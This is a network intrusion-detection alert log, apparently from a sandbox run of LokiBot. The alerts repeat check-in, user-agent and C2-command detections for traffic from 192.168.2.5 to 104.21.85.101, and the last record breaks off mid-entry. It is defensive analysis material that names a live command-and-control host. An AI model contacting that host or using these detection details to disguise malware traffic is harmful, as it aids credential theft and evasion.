Timestamp:	05/27/24-02:57:03.327854
SID:	2021641
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:19.144546
SID:	2825766
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:00.615870
SID:	2025381
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:37.342738
SID:	2021641
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:18.265929
SID:	2024318
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:35.485663
SID:	2024318
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:34.740166
SID:	2025381
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:55.635319
SID:	2825766
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.907197
SID:	2024313
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.907197
SID:	2024318
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:50.878814
SID:	2024313
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:57.681674
SID:	2024318
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:56.483967
SID:	2021641
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:57.681674
SID:	2024313
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.171322
SID:	2825766
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:25.218772
SID:	2021641
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:11.776104
SID:	2025381
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.127367
SID:	2021641
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:16.316242
SID:	2024318
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:16.316242
SID:	2024313
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:50.878814
SID:	2024318
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.108178
SID:	2025381
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:44.306693
SID:	2021641
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:17.383670
SID:	2025381
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:30.108861
SID:	2021641
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:55.869978
SID:	2021641
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:08.406183
SID:	2025381
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:26.338973
SID:	2024318
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:55.869978
SID:	2825766
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:23.648663
SID:	2024313
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:31.013040
SID:	2021641
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.045782
SID:	2021641
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:23.648663
SID:	2024318
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:45.171221
SID:	2025381
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:25.218772
SID:	2825766
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:04.647547
SID:	2025381
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:19.638609
SID:	2024318
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.174321
SID:	2825766
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:40.730674
SID:	2025381
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:19.638609
SID:	2024313
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:15.663990
SID:	2021641
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:15.342998
SID:	2025381
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:22.168783
SID:	2024318
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:22.168783
SID:	2024313
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.965000
SID:	2024313
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:30.172586
SID:	2024313
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:24.574893
SID:	2021641
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.965000
SID:	2024318
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.003346
SID:	2024318
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:56.824671
SID:	2021641
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:33.866649
SID:	2025381
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:26.338973
SID:	2024313
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:58.817936
SID:	2825766
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.003346
SID:	2024313
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:31.013040
SID:	2825766
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.045782
SID:	2825766
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:18.265929
SID:	2825766
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:19.144546
SID:	2021641
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.003346
SID:	2025381
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:30.172586
SID:	2024318
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:59.664329
SID:	2021641
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:27.314091
SID:	2021641
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:29.323327
SID:	2024318
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.048379
SID:	2025381
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:58.817936
SID:	2021641
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.941539
SID:	2825766
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:52.872776
SID:	2021641
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:29.323327
SID:	2024313
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:49.900695
SID:	2024313
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:46.007126
SID:	2024313
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:11.985959
SID:	2825766
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:50.878814
SID:	2825766
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:46.007126
SID:	2024318
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.970619
SID:	2021641
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:49.900695
SID:	2024318
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.941539
SID:	2021641
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:06.518525
SID:	2825766
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:12.860512
SID:	2025381
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:20.475127
SID:	2021641
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.993911
SID:	2021641
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:02.427081
SID:	2825766
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:46.289681
SID:	2021641
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:30.172586
SID:	2825766
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:09.229387
SID:	2825766
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:47.148785
SID:	2025381
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:01.718197
SID:	2024313
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:01.718197
SID:	2024318
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:23.648663
SID:	2825766
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:36.373420
SID:	2021641
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:41.567295
SID:	2025381
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:00.847332
SID:	2025381
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:35.556016
SID:	2024313
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:43.411668
SID:	2825766
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:01.572690
SID:	2024318
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:18.824360
SID:	2025381
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:57.446786
SID:	2021641
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:35.556016
SID:	2024318
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:02.822734
SID:	2021641
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:58.296639
SID:	2025381
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:01.572690
SID:	2024313
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:13.812339
SID:	2024313
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:13.812339
SID:	2024318
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.983497
SID:	2021641
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:15.663990
SID:	2825766
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:43.411668
SID:	2021641
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:36.373420
SID:	2825766
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:28.412600
SID:	2025381
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:01.718197
SID:	2025381
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.977503
SID:	2024313
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:15.663990
SID:	2024318
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:14.514493
SID:	2021641
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:28.354051
SID:	2825766
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.132174
SID:	2025381
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:45.171221
SID:	2021641
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:15.663990
SID:	2024313
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.983497
SID:	2025381
Source Port:	49737
Destination Port:	80
Protocol:	TCP
